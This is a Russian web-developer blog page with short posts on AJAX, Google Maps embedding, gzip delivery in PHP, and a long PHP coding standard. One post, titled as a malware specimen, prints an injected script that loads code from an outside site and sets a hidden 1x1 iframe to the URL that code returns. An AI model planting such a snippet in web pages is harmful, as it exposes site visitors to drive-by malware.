Кроссдоменный ajax-запрос с помощью jquery

Столкнулся с тем, что по соображениям безопасности Chromium не отображает ajax-запросы, приняты с домена, отличного от того, на котором отрабатывается javascript.

Решением стал вот такой код

Continue reading


Коллекция вредоносного кода. Экземпляр 1.

document.write('<script src="http://kopii-vertu.ru/url.txt" type="text/javascript"></script>');
document.write('<script type="text/javascript">\r' +
'function changesite()\r' +
'{\r' +
' document.getelementbyid( "ifrm" ).src = geturl();\r' +
'}\r' +
'window.onload=changesite;\r' +
'</script>\r' +
'<iframe id="ifrm" src="" width="1" height="1" frameborder="no">');

Быстрая установка формы обратной связи.

Большинство CMS имеют встроенные модули, позволяющие реализовать формы обратной связи, однако нередко возникает ситуация, когда такой формы не предусмотрено, либо проще поставить внешнюю, чем разбираться с внутренностями малоизвестной или малопригодной для подобных изменений CMS.

Ниже даётся описание простого скрипта, который устанавливается отдельной папкой и обеспечивает функционал формы обратной связи с регулируемым числом полей во всплывающем окне
Continue reading


Установка Google-карты

Подобрать координаты (по GPS, например) и разместить вот этот код на странице

    <div id="map_canvas" style="width: 800px; height: 650px"></div>

    <script type="text/javascript" src="http://maps.google.com/maps/api/js?sensor=false"></script>    
    <script type="text/javascript">
    function initialize() {
        var myLatlng = new google.maps.LatLng(44.180,43.089); // Координаты центра карты
        var labelLatlng = new google.maps.LatLng(44.163,43.140); // Координаты метки
        var myOptions = {
            zoom: 13,
            center: myLatlng,
            mapTypeId: google.maps.MapTypeId.HYBRID // roadmap, satellite, hybrid, and terrain
        }
        var map = new google.maps.Map(document.getElementById("map_canvas"), myOptions);    
        var marker = new google.maps.Marker({
          position: labelLatlng,
          map: map,
          title:"Название метки"
        });
    }
    initialize();
    </script>

Передача браузеру файлов js и css, сжатыми с помощью gzip на php

Важно соблюсти следующие моменты

  1. Отдавать gzip содержимое браузеру, только если он заявил о поддержке gzip-контента(остальным отдавать несжатое содержимое)
  2. Отдавать ошибку 404 Not Found, если такого файла нет
  3. Отдавать заголовок Last-Modified, адекватный дате последнего изменения файла
  4. Отдавать заголовок 304 Not Modified, если полученная в заголовке If-Modified-Since дата старше даты изменения файла(кэш устарел)
  5. Игнорировать QUERY_STRING(то, что в запросе после знака вопроса, включая его самого)

.htaccess

RewriteEngine on
RewriteRule ^(.*)\.css$ /gzip.php [L]
RewriteRule ^(.*)\.js$ /gzip.php [L]

gzip.php

<?php
    // Определяем имя файла, который передаём
    $filename = $_SERVER['DOCUMENT_ROOT'].$_SERVER['REQUEST_URI'];

    // Отрезаем query-string(то, что после вопроса)
    $filename = preg_replace("/^(.*)\?.*$/", "$1", $filename);

    // Опредеяем расширение файла (по)
    $ext = preg_replace("/^.*\.(.*)$/", "$1", $filename);

    // Определяем content-type для заголовка
    switch($ext){
        case "js":
            $content_type = "application/javascript";
        break;
        case "css":
            $content_type = "application/css";
        break;
        case "html":
            $content_type = "text/html";
        break;
        case "htm":
            $content_type = "text/html";
        break;
        case "txt":
            $content_type = "text/plain";
        break;
    }

    // Если такого файла нет - посылаем 404-ю ошибку
    if(!file_exists($filename)){
        header("HTTP/1.1 404 NotFound");
        die;
    }

    // Получаем информацию о файле(в том числе дату последнего изменения)
    $stat = stat($filename);

    // Если браузер сообщил о том, что этот файл есть у него в кэше,
    // с определённой датой последнего изменения, и если дата последнего изменения
    // файла не новее, чем дата кэша - посылаем 304 заголовок и не маимся со сжатием
    if(
        isset($_SERVER['HTTP_IF_MODIFIED_SINCE'])
    ){
        $date = date_parse_from_format  ( "D, d M Y H:i:s"  , $_SERVER['HTTP_IF_MODIFIED_SINCE']);
        $if_mod_since = gmmktime($date['hour'], $date['minute'], $date['second'],$date['month'], $date['day'],$date['year']);
        if($if_mod_since - $stat['mtime']>=0){    
            header("HTTP/1.1 304 Not Modified");
            die;
        }
    }

    // Отправляем дату последнего изменения файла
    $lastmod = gmdate("D, d M Y H:i:s", $stat['mtime'])." GMT";
    header("Last-Modified: $lastmod");

    // Если в заголовках браузер подтвердил, что поддерживает gzip-сжатие, то
    // отправляем ему сжатое содержимое
    if(isset($_SERVER['HTTP_ACCEPT_ENCODING']) && strpos($_SERVER['HTTP_ACCEPT_ENCODING'], "gzip")!==false){
        $content = gzencode(file_get_contents($filename));
        header("Content-Encoding: gzip");
    }
    // Иначе отправляем несжатое содержимое
    else{
        $content = file_get_contents($filename);
    }

    // Отправляем заголовок типа содержимого
    header("Content-Type: $content_type");
    // Отправляем содержимое
    echo $content;
?>

Стандарт написания кода на PHP

За основу для данного стандарта взята статья http://www.reg.ru/coding_standards.

Оформление кода

Лесенка в 4 пробела.

Обязательна «лесенка» с отступом в 4 пробела (half-tab). При этом запрещается в редакторе изменять размер отображаемой табуляции, например выставлять отображение табуляции в 4 пробела. Код, созданный Вами при таких настройках, будет некорректно отображаться в других редакторах с другими настройками.

Величина отступа у двух соседних строчек, не должна превышать 4 пробела:

// Правильно
function get_id(
    $name   //!< Имя
) {

// Неправильно
function get_id(
                $name   //!< Имя
) {

Пробелы после запятых.

После запятых и точек с запятой (если, конечно, они не расположены в конце строки) ставятся пробелы. Перед запятой и точкой с запятой пробелы не ставятся:

$a = array (1, 2, 3);
for ($i = 0; $i < $count; $i++) {  };

Пробелы вокруг знаков операций.

Любые операторы / знаки операций (например =, ==, ⇒, <, >, &&, || и т.п.) обязательно отделяются пробелами с обоих сторон

В арифметических выражениях количество пробелов вокруг знаков операций можно варьировать, чтобы подчеркнуть приоритет операций. Примеры:

$a = $b * $c + $d * $e;
$a = $b * $c  +  $d * $e;

Пробелы вокруг сложных индексных выражений.

В случае, если Вы обращаетесь к элементу массива по индексу и индексное выражение достаточно сложное, отделяйте его пробелами для улучшения удобочитаемости. Если выражение простое — пробелы не обязательны.

$a[1];
$a[ 1 + 2 + 2 + 4 * function( $a{ $b->{c} } ) ];

Пробелы после знака комментария.

После символа начала комментария («») перед текстом самого комментария ставится пробел: <code> Комментарии начинаются С ЗАГЛАВНОЙ БУКВЫ! Вторая строка комментария </code> Исключение составляют fancy comments, где допускается сливать начальнуй символ решётки с последующими символами: <code> / MY COMMENT INIT * </code>

Пробелы после ключевых слов

После любых ключевых слов языка php обязательно следует пробел. Примеры:

$array = array ();
foreach ($array as $k => $item) {
    if ($item) { $array[$k] = $item * 2; }
}

<<Опять пробелы???>>

Для того, чтобы понять, насколько хорошо отформатирован Ваш исходный текст: достаточно ли отступов, пробелов и пустых строк — попробуйте отключить подсветку синтаксиса в Вашем редакторе. Если после отключения подсветки код по-прежнему легко читаем (просмотр и анализ текста производится легко, любые конструкции легко выделяются визуально) — значит код действительно удобочитаем.

Не стоит полагаться на подсветку синтаксиса как на «костыль», скрывающий недостатки форматирования.

Выравнивайте комментарии точно так же, как и код.

Левый край комментариев выравнивается точно так же, как и основной код, т.е. используется принцип «лесенки».

//// тили-тили
//// трали-вали
if ($cond) {
    /*
    Это дело мне по силе,
    Откажусь теперь едва ли.
    */

}
else {
    # Это мы не проходили,
    # Это нам не задавали!
}

Ставить символы «» вначале строки, если левая граница кода находится правее, не допускается. тили-тили

// трали-вали
if ($cond) {
// ТАК ДЕЛАТЬ НЕЛЬЗЯ!!!
}

Максимальная длина строк. Разбиение длинных строк.

Строки не оставлять слишком длинными; ограничение — 80 символов в строке. При необходимости строка разбивается на несколько. Примеры допустимого разбивания конструкций:

if (
    very_long_condition_1
    && very_long_condition_2
) {
    statement;
}

if (
        ..
    &&
        ...
    ||
        ...
) {
    ...
}

Для контроля длины строк рекомендуется включить режим «статического переноса строк» после 80 символов. Большинство редакторов имеют эту возможность.

Открывающая фигурная скобка на той же строке, что и ключевое слово.

Старайтесь придерживаться компактного (K&R) стиля оформления циклов и блоков ветвления: открывающая фигурная скобка находится на той же строке, что и ключевое слово for, if, else, while и т.п. Закрывающая фигурная скобка блока, состоящего из нескольких строк, должна находиться на одной вертикали с ключевым словом начинающим конструкцию. Примеры:

if ($condition) {
    statement1;
}
else {
    statement2;
}

for ($i = 0; $i < $count; $i++) {
    statement;
}

Пробел перед открывающей фигурной скобкой.

Перед открывающей фигурной скобкой в блочных конструкциях всегда ставится пробел:

foreach ($array as $item) {
    statement;
}

Допускается компактное оформление блоков из одного оператора

Однострочные блоки, состоящие из единственного оператора, могут быть помещены в одну строку вместе с открывающими и закрывающими скобками:

foreach ($array as $item) { $item *= 2; }

Разбивайте код на абзацы, при необходимости снабжённые комментариями

Код внутри функций должен быть разделён на смысловые блоки, выполняющие определённую узкую задачу. Смысловые блоки отделяются друг от друга пустыми строками. Для дальнейшего улучшения сопровождабельности кода, добавляйте вначале каждого абзаца однострочный комментарий, объясняющий, что делает эта последовательность операторов.

Выравнивайте сходные элементы кода по вертикали.

Выравнивайте сходные элементы по вертикали, особенно если они достаточно короткие чтоб поместиться в одну строку:

$wm_conts_map = array (
    first_name  => 'iname',
    last_name   => 'fname',
    email       => 'email',
);

mkdir($tmpdir)          or die ("can't mkdir $tmpdir");
chmod($tmpdir, 0777)    or die ("can't change mode for $tmpdir");

Переменные и константы

Обязательно комментируйте константы.

Над константами обязательно необходимо ставить комментарий в формате doxygen

//! Режим отладки
define ("DEBUG_MODE", "1");

Не отделяйте имена переменных и функций от следующей за ними открывающей скобки.

Важно ставить открывающую скобку слитно с именем функции или переменной. В противном случае можно визуально спутать функцию с ключевым словом, а начало выражения для элемента массива.

# ХОРОШО
if (open_region($i)) { next CANDIDATE; }

$candidates[$i] = $incumbent[ $candidates[$i]['region'] ];
# ПЛОХО!
if (open_region ($i)){ next CANDIDATE; }

$candidates[$i] = $incumbent [ $candidates[$i]['region'] ];

Индексы ассоциативных массивов — только строки.

Индексы ассоциативных массивов должны представлять собой только текстовые значения (тип кавычек — не важен)

# ХОРОШО
$array['type_id'] = 1;
$array["type_id"] = 2;

# ПЛОХО!
$array[type_id] = 3;

Осмысленные названия идентификаторов.

Выбирайте осмысленные названия для идентификаторов (переменных, констант, функций). Исключение составляют итераторы циклов, где допускаются короткие идентификаторы: $i, $n и т.п. При этом не допускается калька с русского языка («$polzovatel», «$sajt» и т.п.). Если вы не можете вспомнить, что это имя значит — у вас проблемы.

Строчные буквы для названий переменных и функций.

Названия всех переменных и функций должны состоять только из строчных букв, цифр и знаков подчёркивания: «get_domain_name» и т.п.

Хотя короткие идентификаторы типа «$gotit» возможно и неплохи, используйте знак подчеркивания для разделения слов. В общем случае «$var_names_like_this» прочесть легче чем «$VarNamesLikeThis».

Заглавные буквы для констант.

Константы именуются только с использованием заглавных букв:

define ("DEBUG", 0);

Именуйте массивы во множественном числе, а скаляры в единственном.

Массивы рекомендуется называть во множественном числе, например $users, $objects, а скаляры — в единственном: $user, $object.

Функции

Одна функция выполняет одну задачу.

Если функция выполняет несколько разных, слабо связанных друг с другом задач, подумайте о том, чтобы разбить эту функцию на несколько.

Имена функций должны содержать глагол.

Наименования функций должны включать глагол, например «get_domain_name», или «chash_my_program».

Имена, заданные без учёта этого принципа, вроде «flat_components», могут быть истолкованны совершенно по разному, например как «get_flat_components», «set_flat_components», «update_flat_components», «remove_flat_components» или «add_flat_components»

Используйте устоявшиеся пары антонимов в именах функций

В книге Стива Макконелла «Совершенный код» приводятся устоявшиеся пары антонимов, рекомендуемые для использования в именах функций/методов, а именно:

  • add / remove,
  • begin / end,
  • create / destroy,
  • first / last,
  • increment / decrement,
  • insert / delete,
  • lock / unlock,
  • min / max,
  • next / prev,
  • old / new,
  • open / close,
  • show / hide,
  • source / target,
  • start / stop,
  • up / down.

Использование «несогласованных» пар глаголов вроде add / delete или insert / destroy вводит в заблуждение и усложняет анализ кода.

Имена private-функций начинаются с подчёркивания.

Если в модуле присутствуют функции, предназначенные только для внутреннего использования, которые никогда не будут вызваны за пределами модуля (за исключением случая автоматического тестирования), можно предварять имена этих private-функций знаком подчёркивания. Пример: _do_some_private_actions.

Отступы и комментарии для функций. Документирование входных параметров функций

Функции отделены друг от друга минимум одной пустой строкой. Для каждой функции необходимо краткое однострочное описание того, что она делает. Так же необходимо дать краткое описание входных параметров:

/**
     Получить имя домена по его id (краткое однострочное описание)

    Прочее описание

*/
function get_domain_name(
    $id //!< id домена
) {
    ...
}

Подобный формат написания комментариев связан с последующей обработкой кода с помощью doxygen, для получения документации по исходникам.

Не более 3-х параметров у функций.

Функция может принимать не более 2-х, максимум 3-х аргументов. При большем количестве аргументов либо проводится рефакторинг с целью уменьшения количества входных параметров, либо используются именованные параметры. Именованные параметры обязательно документируются

Документирование выходных параметров функций.

Если выходные параметры функции не очевидны / нетривиальны, особенно это касается возврата сложных структур данных, их обязательно надо документировать

Библиотеки.

Комментарий вначале библиотеки.

Вначале библиотеки обязателен комментарий, описывающий её назначение.

/**  Краткое описание библиотеки
    \author Пупкин Василий

    Подробное описание

*/

Комментарий вначале класса.

Вначале класса обязателен комментарий, описывающий её назначение.

/**
     Краткое описание класса
*/
class myclass {
 ...
}

Наименование библиотек в стиле mylib.lib.php

Файлы библиотек следует называть в стиле mylib.lib.php. В то время как исполняемые файлы («скрипты»), следует именовать маленькими буквами, с применением знака подчёркивания: clear_cache.php.

Динамическая подгрузка тяжёлых опциональных модулей.

Если требуется использовать «тяжёлую» библиотеку (скажем, отъедающую 5 Мб памяти и более), при этом, необходимость в этой библиотеке возникает лишь изредка, при определённых условиях — лучше её динамически, когда в нём возникает необходимость:

define ("", $_SERVER['DOCUMENT_ROOT']);
$include_file = DOCUMENT_ROOT."/libs/mylib.lib.php";
if ($condition) {
    if (file_exists($include_file)) {
        include_once($include_file);
    }
}

Подгрузка библиотек только по абсолютному пути.

Для указания пути к библиотеки обязательно использовать полный путь в файловой системе. Его можно получить из переменной окружения $_SERVER[’DOCUMENT_ROOT’], либо указав его в константе.

define ("", $_SERVER['DOCUMENT_ROOT']);
$include_file = DOCUMENT_ROOT."/libs/mylib.lib.php";
if ($condition) {
    if (file_exists($include_file)) {
        include_once($include_file);
    }
}

SQL, базы данных

Осмысленные названия полей и таблиц.

Выбирайте осмысленные названия для полей и таблиц. При этом не допускается калька с русского языка (‘polzovatel‘, ‘sajt‘ и т.п.). Если вы не можете вспомнить, что это имя значит — у вас проблемы.

Имена таблиц и полей в обратных апострофах.

Имена таблиц, полей и их псевдонимов обязательно заключаются в обратные апострофы (символ ‘).

Форматирование SQL-запросов

Запросы длиной более 50 символов (примерно) рекомендуется разбивать на несколько строк, подгоняя текст по горизонтали. Например так:

    SELECT `fields`
      FROM `tables` `t`
     WHERE conditions
       AND more conditions
     GROUP BY `fields`
     ORDER BY `fields`
     LIMIT limits

или так:

    SELECT
        `fields`
    FROM
        `tables` `t`
    WHERE
        conditions
    AND
        more conditions
    GROUP BY
        `fields`
    ORDER BY
        `fields`
    LIMIT
        limits

Ключевые слова — заглавными буквами.

Все ключевые слова SQL записываются заглавными буквами, все наименование таблиц, полей, пользовательских функций — строчными.

Названия полей и таблиц — строчными буквами.

При именовании таблиц и полей не допускается использование заглавных букв. Допускаются только строчные латинские буквы, цифры и знак подчёркивания. Пример: «name_of_the_table».

Названия таблиц — во множественном числе.

Таблицы следует именовать по-английски, во множественном числе. Например: «domains», «users».

Первичный ключ с именем «id».

В каждой таблице (за исключением таблиц, где необходимы составные ключи, например таблиц для обеспечения связей многие-ко-многим) обязательно должно быть поле с именем «id» и типом INT, для которого должен быть создан первичный ключ:

id INT(11) NOT NULL AUTO_INCREMENT PRIMARY KEY

Поле для первичного ключа может быть названо по другому и иметь другой тип, но это обязательно обсуждается с другими членами команды и выносится соответствующее обоснование.

Ссылочные поля — с именем <tablename>_id

Все поля, использующиеся для связи с другими таблицами по их первичному ключу, именуются как »<tablename>_id», где »<tablename>» — имя таблицы в единственном числе. Примеры наименований: domain_id, user_id.

Комментарии

Кодировка комментариев на русском языке должна быть ЕДИНОЙ на протяжении всего проекта (в зависимости от принятых для этого проекта договорённостей).

Комментирование функций.

Перед телом функции обязательно ставится краткое описание того, что она делает. Назначение входных параметров так же комментируется:

/**
     Краткое описание функции

    Полное описание функции
*/
function my_func(
    $xml,       //!< Описание аргумента 1
    $xsl_file   //!< Описание аргумента 2
) {
    ....
}

Краткое описание является обязательным. Полное, если работа функции сложна и нетривиально. Так же не стоит забывать о допустимом предельном количестве аргументов

Комментирование циклов.

Перед телом цикла обязательно должен стоять комментарий, кратко описывающий работу цикла

// Описание рабты цикла
foreach () {
    ...
}

Комментирование условий.

Перед условием обязательно должен стоять комментарий, кратко описывающий его работу

// Описание условия
if () {
    ...
}

Шаблоны.

Экранирование поставляемых данных во избежание XSS-атак При подстановке в шаблон данных, передаваемых пользователем (например, переданных ранее через форму на сайте), эти данные обязательно экранируются с помощью фильтра html (за исключением ОСОБЫХ случаев):

<?= htmlspecialchars($form_data);?>

Пробелы

К оформлению кода внутри шаблонов применяются те же самые требования, что и к оформлению кода на PHP. В частности это касается расстановки пробелов (пробелы вокруг операторов, пробелы после запятых, вокруг сложных индексных выражений и т.п.).

Лесенка.

При использовании логических / блочных конструкций TT данные, внутри блока сдвигаются вправо для улучшения удобочитаемости

    {if $ru}
        Русский текст
    {else}
        Английский текст
    {/if}

Проверки на непустоту списков.

В случае необходимости отображения списка или таблицы, где строки передаются в виде массива, должна быть проверка на непустоту этого массива и соответствующая адекватная реакция. Например, вместо вывода пустой таблицы или списка лучше вывести пояснительный текст: «Заказы пока отсутствуют» или «Новостей на сегодня нет».

Шаблон должен интерпретироваться без ошибок, даже если отсутствуют необходимые данные.

Шаблон должен интерпретироваться без ошибок даже в случае, если требуемые шаблоном переменные не передаются шаблонизатору. Это означает, что в шаблонах должна быть предусмотрена адекватная защита, на случае, если данные не передаются.

HTML-код

Не использовать спецсимволы, записанные в национальной кодировке.

Не использовать знаки номера, копирайта, спец-кавычек и т.п., записанные в виде символов в национальной кодировке, скажем cp1251. Далеко не во всех редакторах и операционных системах Ваши символы будут корректно отображаться.

Для каждого чекбокса должен быть label.

Для каждого элемента <input type=«checkbox» …> должен быть предусмотрен элемент <label>, для того, чтобы чекбокс срабатывал также по клику по метке:

    <label><input type="checkbox" name="test" value="1">Тестовая метка</label>

Высота textarea

Textarea в форме минимум на 10 строк высоты (очень неудобно постоянно делают 4-6 строк)

Textarea в форме минимум на 95% её ширины.

Возможно следует задать минимум в см.

Использование таблицы для формы

Использование в форме тегов th для заголовков полей и тегов td содержащих поля. При этом чекбоксы с их лэйблами хранятся в тэгах td аналогично input.

<form>
    <table>
        <tr>
            <th>Field1:</th>
            <td><input ...></td>
        </tr>
    </table>
</form>

JavaScript

Всегда объявляйте переменные.

Всегда объявляйте переменные в JavaScript, даже если синтаксис языка допускает использование переменной без её объявления. Не позволяйте себе «расслабиться»!

    var variable = 'Value';
    alert( variable );

Основные пункты usability-тестирования.

Групповые установка и снятие checkbox’ов

Если на странице есть группа однотипных по смыслу checkbox’ов, то необходимо реализовать групповую установку иснятие «галочек» дополнительным checkbox’ом выделить все

Групповые операции.

Необходимо реализовать одну «групповую» кнопку для всех строк таблицы и использование для каждой записи чекбокса, если предполагается производить однотипное действие со всеми элементами. (негативный пример — 100 строк где у каждой стоит кнопка удалить или перенести).

Подсказка к ссылкам и графическим кнопкам.

К сылкам и особенно к графическим кнопкам обязательно должны идти всплывающие подсказки, кратко (не более 5 слов) объясняющие её назначение. Для этого следует использовать стендартный аттрибут тегов title

Значение по умолчанию «не выбрано» у select’ов.

За исключением случаев, когда один из элементов выпадающего списка <select> выбран сознательно, или особо оговорённых случаев, первым элементом списка (при этом выбранным по умолчанию) должен быть —не выбрано—, означающий, что пользователь не совершал сознательного выбора в этом поле. При отправке формы должна производиться проверка этого поля на отсутствие значения —не выбрано—.

Расположение кнопок «Ok» и «Отмена».

Если форма содержит кнопки ОК/Отмена (Выполнить/Отмена), их расположение должно быть стандартным: в самом низу формы, обе кнопки на одном уровне, выравнивание по правому краю и слева «ОК», а справа «Отмена»

Отправка формы по Ctrl+Enter

Любая форма должна отправляться по Ctrl+Enter, то есть обязательна должна содержать поле типа submit. Совершенно недопустима отправка формы с помощью javascript. С помощью javascript должна проводиться только её проверка.

Нумерация строк таблицы и списков.

Строки таблицы, если их данные однотипны и есть заголовок таблицы, должны быть пронумерованы по порядку в первом столбце. Так же, за исключением особых случаев, предпочтение стоит отдавать нумерованным спискам.

Отступы от краёв ячеек в таблицах.

Данные в таблице, особенно если четко очерчены границы ячеек, не должды прилипать вплотную к левому и правому краю ячейки. Необхоимо использовать отступы, задаваемые стилями CSS. Рекомендуется отступ по 5px слева и справа. Выравнивание текста в ячейках таблицы, за исключением особых случаем, должно быть по левому краю.

Черезцветица строк.

Для таблицы ширина которой составляет более половины окна, цвет фона соседних строк должен чередоваться (чет/нечет). В то же время не стоит выбирать слишком яркие цвета, рекомендуется сочетание #EFEFEF и #F8F8F8.

Заголовки столбцов.

Если таблица имеет заголовки столбцов, то они обязательно должны формироваться с помощью тега th. Стилями, за исключением особых случаем, текст внутри ячеек заголовка столбца выравнивается по центру.

<table>
    <tr>
        <th>
            № П/П
        </th>
        <th>
            Ф.И.О.
        </th>
    </tr>
    <tr>
        <td>
            1
        </td>
        <td>
            Иванов Иван Иваныч
        </td>
    </tr>
</table>

Повторение заголовков у длинных таблиц.

Если количество строк таблицы превышает 30, то каждые 30 строк заголовок таблицы следует повторять, или организовать постраничный просмотр таблицы.

Предупреждение перед удалением.

Перед операциями удаления необходимо выводить предупреждающее сообщение, в котором пользователь должен подтвердить своё намерение (защита от случайных удалений). Рекомендуется реализовывать это с помощью стандартной функции javascript confirm, помещённой в качестве обработчика для элемента управления

<input type="submit" name="delete" onclick="return confirm('Вы уверены');">

Проверка данных формы с помощью Javascript.

Кроме проверки данных на стороне сервера необходимо организовать (по возможности полную) проверку на стороне браузера с помощью javascript. Вот пример проверки заполнения формы регистрации

  /* ***********************************
  *   Функция проверки данных формы
  *************************************/
  function check_form_master_reg(){

      // Проверка корректности имени пользователя
      var reg1=/[\d\w\_\-]+/i;
      if(!reg1.test(document.getElementById('form_username').value)){
          alert("Неверно задано имя пользователя. "+
          "Допускаются только символы латиницы, цифры тире и подчеркивание");
          return false;
      }

      // Проверка корректности e-mail
      var reg2=/[\d\w\-\.]+\@[\d\w\-\.]+/i;
      if(!reg2.test(document.getElementById('form_email').value)){
          alert("Неверно задан email");
          return false;
      }

      // Проверка непустоты пароля
      if(!document.getElementById('form_password').value){
          alert('Не введён пароль');
          return false;
      }
      // Проверка непустоты подтверждения пароля
      if(!document.getElementById('form_repassword').value){
          alert('Не введёно подтверждение пароля');
          return false;
      }

      // Проверка на совпадение пароля и подтверждения
      if(document.getElementById('form_password').value!=
          document.getElementById('form_repassword').value){
          alert('Пароль и подтверждение не совпадают');
          return false;
      }
      return true;
  }

Сохранение данных формы при распозновании сервером ошибочных входных данных.

Если данные не прошли проверку на сервере и браузеру снова передалась страница с отправленной формой, необходимо позаботиться о сохранении переданных данных и автозаполнении ими перезагруженной формы, избавив пользователя от повторного заполнения формы.

Сообщения об успехе/неудаче проделанной операции.

Любое действие инициированное пользователем(клик, отправление формы) должно сопровождаться сообщением о статусе операции (выполняется/успешно/неуспешно — причина).

Не допускать повторную отработку формы при перезагрузке страницы

Совершенно недопустима многократная успешная отправка формы простым нажатием F5 или Ctrl+R (негативный пример — добавление записи в гостевую книгу простым нажатием F5)

Этого можно избежать, если после завершения обработки данных формы делать 301-й редирект на страницу с сообщением об успехе/неудаче операции.


AJAX Lite. Простой пример подгрузки части страницы.

В этой короткой статье рассматриваются базовые принципы построения web-приложения с использоваием технологии AJAX в наиболее простой и надёжной в работе форме.

Общие принципы технологии

Согласно http://ru.wikipedia.org/wiki/Ajax:

AJAX (от англ. Asynchronous JavaScript and XML – «асинхронный JavaScript и XML») – это подход к построению интерактивных пользовательских интерфейсов веб-приложений. При использовании AJAX веб-страница не перезагружается полностью в ответ на каждое действие пользователя. Вместо этого с веб-сервера догружаются только нужные пользователю данные. AJAX – один из компонентов концепции DHTML.

AJAX базируется на двух основных принципах:

  1. использование DHTML для динамического изменения содержания страницы;
  2. использование технологии динамического обращения к серверу «на лету», без

перезагрузки всей страницы полностью, например:

  • с использованием XMLHttpRequest;
  • через динамическое создание дочерних фреймов;
  • через динамическое создание тега <script>.

Модель AJAX

  1. Пользователь заходит на веб-страницу и нажимает на какой-нибудь её

элемент.

  1. Скрипт (на языке JavaScript) определяет, какая информация необходима для

обновления страницы.

  1. Браузер отправляет соответствующий запрос на сервер.
  2. Сервер возвращает только ту часть документа, на которую пришел запрос.
  3. Скрипт вносит изменения с учётом полученной информации (без полной

перезагрузки страницы).

Часто сервер передаёт не готовый HTML-код, а только данные; а HTML-элементы создаются исходя из этих данных, с использованием методов модификации DOM. При этом в качестве формата передачи данных обычно используются XML или JSON.

JSON хорош тем, что на стороне клиента его не надо обрабатывать каким-то специальным образом, достаточно выполнить вызов функции eval(). Однако, исходя из соображений безопасности, его необходимо анализировать, так как при передаче вредоносного кода функция eval() выполнит данный код.

Идеология «загрузки страницы по частям» мягко говоря не нова и до этого прекрасно реализовывалась во фреймах, которые с некоторых пор попали в опалу, по причине того, что поисковики их не любят. AJAX – любим поисковиками ничуть не более чем фреймы, впрочем в нем много того, что есть лишь дань моде и с построением удобных web-интерфейсов не связано. Рассмотрим поподробнее этапы этой модели.

Как отправлять запросы серверу

Есть 2 основных способа, использование которых не сулит особых проблем, и слабо отличаются по сложности исполнения: создание дочернего фрейма и использование объекта XMLHttpRequest.

Создание дочернего фрейма

  1. Пользователь инициирует событие (например нажимает на ссылку)
  2. JavaScript создаёт фрейм с незначительными размерами, в src параметр которого прописывает url запроса к серверу;
  3. сервер возвращает ответ, на основе которого формируется JavaScript — код JavaScript используя объектную модель документа размещает HTML код в нужном элементе (например с помошью свойств InnerHTML или value).

Использование объекта XMLHttpRequest

  1. Пользователь инициирует событие (например нажимает на ссылку);
  2. JavaScript посылает запрос серверу через метод send() объекта класса XMLHttpRequest;
  3. сервер возвращает ответ, который доступен при обращении к свойству responseText;
  4. используя объектную модель документа, размещает HTML код в нужном элементе (например с помошью свойств InnerHTML или value).

Оба этих способа примерно одинаковы по всем параметрам и позволяют достичь примерно одного результата

  1. отослать запрос к серверу;
  2. отследить момент завершения выполнения запроса;
  3. заполнить нужный элемент HTML-кода данными.

Мой выбор 2-го варианта связан, в основном, с причиной «исторически сложилось» :-)

Как получить данные

В этом месте обычно разгорается жаркий идеологический спор. Наиболее употребимых и безпроблемным способов передачи данных между сервером и клиентом существует 2: через XML и в виде обычного HTML.

Я как правило использую обычный HTML по следующим причинам:

  1. на парсинг XML на стороне клиента уходят ресурсы, при том, что формировать XML для сервера ничем не проще, простому пользователю это видится как тормоза :-);
  2. на загрузку JavaScript-фреймворка, выполняющего сложную обработку XML-ответа идут килобайты, килобайты и килобайты. Конечно сейчас это может не так актуально, но все равно куда приятнее, когда страница стартует 1 секунду, а не 10;
  3. как правило, при «подгрузке» размер html-кода, сформированного из XML превышает его по размерам на единицы процентов, а при грамотном подходе и использовании CSS может даже быть меньше.

Пример простого AJAX-приложения

Рассмотрим пример простого AJAX — приложения, подгружающего в код основной страницы содержимое другой, при клике по ссылке. Причем подгружает его только один раз, дальше он его просто показывает и прячет.

JavaScript-«фреймворк»

Представлен файлом scripts.js, лежащим в корне сайта

// Код вызова
var call_code;
// Объект класса XMLHttpRequest
var xmlHttp;

function CallServer(item,url,reload)
{
    // Если reload - false - то страница загружается в объект только если innerHTML у него пустой
    // Запоминаем код вызова
    call_code=item;
    // Если данных ещё нет, то подгружаем их
    if ((call_code!='') &&
        ((document.getElementById(item).innerHTML=='' || reload))
       )
    {
        // Если имеем дело не с InternetExplorer
        if (window.XMLHttpRequest) {
            xmlHttp = new XMLHttpRequest();
            // Открыть соединение с сервером
            xmlHttp.open("GET", url, true);
            // Установить функцию для сервера, которая выполнится после его ответа
            xmlHttp.onreadystatechange = updatePage;
            // SПередать запрос
            xmlHttp.send(null);
        }
        // Если имеем дело с InternetExplorer(он объект XMLHttpRequest имеет
        // в виде active-X компонента XMLHTTP)
        else if (window.ActiveXObject)
        {
            xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
            // Установить функцию для сервера, которая выполнится после его ответа
            xmlHttp.onreadystatechange = updatePage;
            // Открыть соединение с сервером
            xmlHttp.open("GET", url, true);
            // SПередать запрос
            xmlHttp.send();
        }

        // Включить индикатор загрузки
        loadPage();
    }
}

//индикатор загрузки
function loadPage()
{
    document.getElementById(call_code).innerHTML= 'Загрузко...';
}

// Функция, выполняемая после ответа
function updatePage() {
  if (xmlHttp.readyState == 4) {

        if (xmlHttp.status == 200) {
            // Если код ошибки - 200 подгружем ответ сервера в элемент HTML с
            // ID=call_code
            document.getElementById(call_code).innerHTML = xmlHttp.responseText;
        } else {
            alert("Не удалось получить данные:\n" + xmlHttp.statusText);
        }

  }
}

// Функция показывает, скрывает элемент html с указанным ID
function SH(name) {
    _div = document.getElementById(name);

    if (_div.style.display == "none") _div.style.display=""; else _div.style.display="none";
}

Код основной страницы

Представлен файлом index.html, лежащим в корне сайта

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<title></title>
<meta http-equiv="Content-Type" content="text/html; charset=Windows-1251">
<script type="text/javascript" src="/scripts.js"></script>
</head>
<body>
<!--
При клике на ссылку в элемент с ID = content подгружется содержимое страницы
loading.php, причем только один раз - когда туда еще ничего не загружено (потому
что 3-й параметр функции CallServer = false)
-->
<a href="#" onclick="SH('content');CallServer('content','/loading.php',false);">Подгрузить</a>
<div id="content" style="display:none"></div>
</body>
</html>

Код подгружаемой страницы

Представлен файлом loading.php, лежащим в корне сайта

<?php
// Выставляем кодировку
header("Content-Type: text/html; charset=Windows-1251");
?>
Hello world

Грабли

